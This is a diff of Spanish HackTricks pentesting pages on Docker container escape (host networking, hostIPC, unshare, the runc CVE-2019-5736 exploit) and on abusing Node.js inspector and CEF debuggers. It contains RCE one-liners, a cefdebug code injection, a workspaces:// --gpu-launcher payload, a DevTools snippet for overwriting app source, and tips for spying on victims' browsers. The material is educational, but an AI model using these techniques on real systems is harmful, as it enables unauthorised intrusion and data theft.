Si un contenedor está configurado con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe una dirección IP asignada. En otras palabras, el **contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
Si un contenedor fue configurado con el controlador de red de Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host), y al contenedor no se le asigna su propia dirección IP. En otras palabras, el **contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
|
||||
Por ejemplo, puedes usar esto para **espiar e incluso falsificar el tráfico** entre el host y la instancia de metadatos.
|
||||
Por ejemplo, puedes usar esto para **oler y hasta suplantar el tráfico** entre el host y la instancia de metadatos.
|
||||
|
||||
Como en los siguientes ejemplos:
|
||||
|
||||
* [Informe: Cómo contactar a Google SRE: Obtener una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM del servicio de metadatos permite la escalada de privilegios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
También podrás acceder a los **servicios de red enlazados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que pueden ser diferentes a los que un contenedor puede acceder).
|
||||
También podrás acceder a **servicios de red vinculados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que podrían ser diferentes a los que un contenedor puede acceder).
|
||||
|
||||
### hostIPC
|
||||
```
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Si solo tienes `hostIPC=true`, es probable que no puedas hacer mucho. Si algún proceso en el host o cualquier proceso dentro de otro pod está utilizando los **mecanismos de comunicación interproceso** del host (memoria compartida, matrices de semáforos, colas de mensajes, etc.), podrás leer/escribir en esos mismos mecanismos. El primer lugar donde debes buscar es `/dev/shm`, ya que es compartido entre cualquier pod con `hostIPC=true` y el host. También debes verificar los otros mecanismos de IPC con `ipcs`.
|
||||
Si solo tienes `hostIPC=true`, probablemente no puedas hacer mucho. Si algún proceso en el host o cualquier proceso dentro de otro pod está utilizando los **mecanismos de comunicación entre procesos** del host (memoria compartida, arreglos de semáforos, colas de mensajes, etc.), podrás leer/escribir en esos mismos mecanismos. El primer lugar que querrás revisar es `/dev/shm`, ya que se comparte entre cualquier pod con `hostIPC=true` y el host. También querrás revisar los otros mecanismos IPC con `ipcs`.
|
||||
|
||||
* **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm`
|
||||
* **Inspeccionar las instalaciones de IPC existentes** - Puedes verificar si se están utilizando instalaciones de IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
|
||||
* **Inspeccionar las instalaciones IPC existentes** – Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Compruébalo con: `ipcs -a`
|
||||
|
||||
### Recuperar capacidades
|
||||
|
||||
Si la llamada al sistema **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
|
||||
Si la syscall **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Abuso de namespace de usuario a través de symlink
|
||||
### Abuso del espacio de nombres de usuario a través de enlace simbólico
|
||||
|
||||
La segunda técnica explicada en la publicación [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica cómo se puede abusar de los enlaces simbólicos con los espacios de nombres de usuario para afectar archivos dentro del host (en ese caso específico, eliminar archivos).
|
||||
La segunda técnica explicada en el post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica cómo se pueden abusar de los montajes vinculados con espacios de nombres de usuario, para afectar archivos dentro del host (en ese caso específico, eliminar archivos).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## CVEs
|
||||
|
||||
### Exploit de Runc (CVE-2019-5736)
|
||||
### Explotación de Runc (CVE-2019-5736)
|
||||
|
||||
En caso de que pueda ejecutar `docker exec` como root (probablemente con sudo), intente escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribe** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
|
||||
En caso de que puedas ejecutar `docker exec` como root (probablemente con sudo), puedes intentar escalar privilegios escapando de un contenedor abusando del CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, así que cualquiera que ejecute docker exec podría activar el payload.
|
||||
|
||||
Cambie la carga útil según corresponda y compile el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
|
||||
Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, debe ejecutar lo siguiente desde la máquina host:
|
||||
Cambia el payload según sea necesario y compila el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de docker para su ejecución.\
|
||||
Tras la ejecución, en cuanto muestre `[+] Overwritten /bin/sh successfully` necesitas ejecutar lo siguiente desde la máquina host:
|
||||
|
||||
`docker exec -it <nombre-del-contenedor> /bin/sh`
|
||||
|
||||
Esto activará la carga útil que se encuentra en el archivo main.go.
|
||||
Esto activará el payload que está presente en el archivo main.go.
|
||||
|
||||
Para obtener más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
Para más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Existen otras CVE a las que el contenedor puede ser vulnerable, puede encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
Hay otros CVEs a los que el contenedor puede ser vulnerable, puedes encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Escape personalizado de Docker
|
||||
## Escape Personalizado de Docker
|
||||
|
||||
### Superficie de escape de Docker
|
||||
### Superficie de Escape de Docker
|
||||
|
||||
* **Namespaces:** El proceso debe estar **completamente separado de otros procesos** a través de los espacios de nombres, por lo que no podemos escapar interactuando con otros procesos debido a los espacios de nombres (por defecto, no se puede comunicar a través de IPC, sockets Unix, servicios de red, D-Bus, `/proc` de otros procesos).
|
||||
* **Namespaces:** El proceso debe estar **completamente separado de otros procesos** a través de espacios de nombres, por lo que no podemos escapar interactuando con otros procs debido a espacios de nombres (por defecto no pueden comunicarse a través de IPCs, sockets unix, servicios de red, D-Bus, `/proc` de otros procs).
|
||||
* **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios están limitados).
|
||||
* **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían ser utilizadas para intentar escapar.
|
||||
* **Syscalls**: Estas son las syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Las otras syscalls podrían usarse para intentar escapar.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -542,7 +542,9 @@ Existen otras CVE a las que el contenedor puede ser vulnerable, puede encontrar
|
|||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% tab title="llamadas al sistema arm64" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscalls arm64" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -560,7 +562,11 @@ Existen otras CVE a las que el contenedor puede ser vulnerable, puede encontrar
|
|||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
```markdown
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
```
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -624,7 +630,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
@ -633,12 +639,14 @@ Get Access Today:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,27 @@
|
|||
# Abuso del depurador Node inspector/CEF
|
||||
# Abuso del inspector de Node/depuración de CEF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
## Información Básica
|
||||
|
||||
Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. A cada proceso también se le asigna un **UUID** **único**.
|
||||
Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en la dirección y puerto **`127.0.0.1:9229`**. A cada proceso también se le asigna un **UUID** **único**.
|
||||
|
||||
Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se vería algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malintencionado que pueda conectarse a este puerto puede ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**).
|
||||
Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso que pueda conectarse a este puerto podría ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**escalada de privilegios potencial**).
|
||||
{% endhint %}
|
||||
|
||||
Hay varias formas de iniciar un inspector:
|
||||
|
@ -33,50 +35,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
|
|||
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
|
||||
```
|
||||
Cuando inicias un proceso inspeccionado, algo como esto aparecerá:
|
||||
Cuando inicies un proceso inspeccionado, aparecerá algo como esto:
|
||||
```
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
Los procesos basados en **CEF** (**Chromium Embedded Framework**) necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **depurador** (las protecciones SSRF siguen siendo muy similares). Sin embargo, en lugar de otorgar una sesión de **depuración** de **NodeJS**, se comunicarán con el navegador utilizando el [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/), que es una interfaz para controlar el navegador, pero no hay una RCE directa.
|
||||
Los procesos basados en **CEF** (**Chromium Embedded Framework**) necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **debugger** (las protecciones de SSRF siguen siendo muy similares). Sin embargo, **en lugar de** otorgar una sesión de **debug** de **NodeJS**, se comunicarán con el navegador utilizando el [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), que es una interfaz para controlar el navegador, pero no hay un RCE directo.
|
||||
|
||||
Cuando se inicia un navegador depurado, aparecerá algo como esto:
|
||||
Cuando inicies un navegador en modo de depuración, aparecerá algo como esto:
|
||||
```
|
||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
|
||||
```
|
||||
### Navegadores, WebSockets y política de mismo origen <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
|
||||
Los sitios web abiertos en un navegador web pueden realizar solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Se requiere una **conexión HTTP inicial** para **obtener un identificador de sesión de depurador único**. La **política de mismo origen** **evita** que los sitios web puedan realizar **esta conexión HTTP**. Para una seguridad adicional contra [**ataques de reenvío DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifica que los encabezados **'Host'** para la conexión especifiquen una **dirección IP** o **`localhost`** o **`localhost6`** de manera precisa.
|
||||
Los sitios web abiertos en un navegador web pueden realizar solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Una **conexión HTTP inicial** es necesaria para **obtener un id de sesión de depurador único**. La **política de mismo origen** **impide** que los sitios web puedan realizar **esta conexión HTTP**. Para una seguridad adicional contra [**ataques de rebinding de DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding), Node.js verifica que los **encabezados 'Host'** de la conexión especifiquen una **dirección IP** o **`localhost`** o **`localhost6`** de manera precisa.
|
||||
|
||||
{% hint style="info" %}
|
||||
Estas **medidas de seguridad evitan aprovechar el inspector** para ejecutar código **simplemente enviando una solicitud HTTP** (lo cual podría hacerse aprovechando una vulnerabilidad SSRF).
|
||||
Esta **medida de seguridad evita la explotación del inspector** para ejecutar código **solo enviando una solicitud HTTP** (lo que podría hacerse explotando una vulnerabilidad SSRF).
|
||||
{% endhint %}
|
||||
|
||||
### Iniciando el inspector en procesos en ejecución
|
||||
|
||||
Puedes enviar la **señal SIGUSR1** a un proceso de nodejs en ejecución para hacer que **inicie el inspector** en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podría otorgarte **acceso privilegiado a la información dentro del proceso** pero no una escalada directa de privilegios.
|
||||
Puedes enviar la **señal SIGUSR1** a un proceso nodejs en ejecución para hacer que **inicie el inspector** en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podría otorgarte **acceso privilegiado a la información dentro del proceso** pero no una escalada de privilegios directa.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Esto es útil en contenedores porque **apagar el proceso y comenzar uno nuevo** con `--inspect` no es una opción porque el **contenedor** será **eliminado** con el proceso.
|
||||
Esto es útil en contenedores porque **cerrar el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** ya que el **contenedor** será **eliminado** junto con el proceso.
|
||||
{% endhint %}
|
||||
|
||||
### Conectarse al inspector/debugger
|
||||
### Conectar al inspector/debugger
|
||||
|
||||
Si tienes acceso a un navegador **basado en Chromium**, puedes conectarte accediendo a `chrome://inspect` o `edge://inspect` en Edge. Haz clic en el botón Configure y asegúrate de que tu **host y puerto objetivo** estén listados (encuentra un ejemplo en la siguiente imagen de cómo obtener RCE usando uno de los ejemplos de las siguientes secciones).
|
||||
Si tienes acceso a un **navegador basado en Chromium** puedes conectarte accediendo a `chrome://inspect` o `edge://inspect` en Edge. Haz clic en el botón Configurar y asegúrate de que tu **host y puerto objetivo** estén listados (Encuentra un ejemplo en la siguiente imagen de cómo obtener RCE usando uno de los ejemplos de las siguientes secciones).
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1).png>)
|
||||
|
||||
Usando la **línea de comandos**, puedes conectarte a un debugger/inspector con:
|
||||
Usando la **línea de comandos** puedes conectarte a un debugger/inspector con:
|
||||
```bash
|
||||
node inspect <ip>:<port>
|
||||
node inspect 127.0.0.1:9229
|
||||
# RCE example from debug console
|
||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
||||
```
|
||||
La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) permite **encontrar inspectores** que se estén ejecutando localmente e **inyectar código** en ellos.
|
||||
La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), permite **encontrar inspectores** ejecutándose localmente e **inyectar código** en ellos.
|
||||
```bash
|
||||
#List possible vulnerable sockets
|
||||
./cefdebug.exe
|
||||
|
@ -86,16 +88,16 @@ La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/tavis
|
|||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que los exploits de **RCE en NodeJS no funcionarán** si estás conectado a un navegador a través del [**Protocolo de Chrome DevTools**](https://chromedevtools.github.io/devtools-protocol/) (debes revisar la API para encontrar cosas interesantes que hacer con él).
|
||||
Tenga en cuenta que los **exploits de RCE de NodeJS no funcionarán** si están conectados a un navegador a través del [**Protocolo de Herramientas para Desarrolladores de Chrome**](https://chromedevtools.github.io/devtools-protocol/) (necesita revisar la API para encontrar cosas interesantes que hacer con él).
|
||||
{% endhint %}
|
||||
|
||||
## RCE en el Depurador/Inspector de NodeJS
|
||||
## RCE en Depurador/Inspector de NodeJS
|
||||
|
||||
{% hint style="info" %}
|
||||
Si llegaste aquí buscando cómo obtener **RCE a partir de un XSS en Electron, por favor revisa esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
Si llegaste aquí buscando cómo obtener un [**RCE a partir de un XSS en Electron, por favor revisa esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endhint %}
|
||||
|
||||
Algunas formas comunes de obtener **RCE** cuando puedes **conectarte** a un **inspector** de Node es utilizando algo como esto (parece que esto **no funcionará en una conexión al Protocolo de Chrome DevTools**):
|
||||
Algunas formas comunes de obtener **RCE** cuando puedes **conectarte** a un **inspector** de Node es usando algo como (parece que esto **no funcionará en una conexión al protocolo de Chrome DevTools**):
|
||||
```javascript
|
||||
process.mainModule.require('child_process').exec('calc')
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
|
@ -105,13 +107,13 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
|
|||
## Cargas útiles del Protocolo Chrome DevTools
|
||||
|
||||
Puedes consultar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
En esta sección, simplemente enumeraré cosas interesantes que las personas han utilizado para explotar este protocolo.
|
||||
En esta sección solo enumeraré cosas interesantes que he encontrado que las personas han utilizado para explotar este protocolo.
|
||||
|
||||
### Inyección de parámetros a través de enlaces profundos
|
||||
### Inyección de Parámetros a través de Deep Links
|
||||
|
||||
En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security descubrió que una aplicación basada en CEF **registraba un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI.
|
||||
En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino Security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI.
|
||||
|
||||
Se descubrió que los parámetros del URI se decodificaban y se utilizaban para lanzar la aplicación básica de CEF, lo que permitía a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias.
|
||||
Se descubrió que los parámetros del URI se decodificaban en URL y se utilizaban para lanzar la aplicación básica CEF, permitiendo a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias.
|
||||
|
||||
Entonces, una carga útil como:
|
||||
```
|
||||
|
@ -119,9 +121,9 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
|||
```
|
||||
Ejecutará un calc.exe.
|
||||
|
||||
### Sobrescribir archivos
|
||||
### Sobrescribir Archivos
|
||||
|
||||
Cambie la carpeta donde se guardarán los **archivos descargados** y descargue un archivo para **sobrescribir** el **código fuente** frecuentemente utilizado de la aplicación con su **código malicioso**.
|
||||
Cambie la carpeta donde se van a guardar los **archivos descargados** y descargue un archivo para **sobrescribir** el **código fuente** de la aplicación que se utiliza con frecuencia con su **código malicioso**.
|
||||
```javascript
|
||||
ws = new WebSocket(url); //URL of the chrome devtools service
|
||||
ws.send(JSON.stringify({
|
||||
|
@ -133,15 +135,15 @@ downloadPath: '/code/'
|
|||
}
|
||||
}));
|
||||
```
|
||||
### RCE y exfiltración de datos mediante Webdriver
|
||||
### Webdriver RCE y exfiltración
|
||||
|
||||
Según este artículo: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), es posible obtener RCE y exfiltrar páginas internas utilizando Webdriver.
|
||||
Según este post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) es posible obtener RCE y exfiltrar páginas internas de theriver.
|
||||
|
||||
### Post-Explotación
|
||||
|
||||
En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, puedes lanzar un proceso de Chrome con la **depuración activada y redirigir el puerto de depuración** para poder acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**.
|
||||
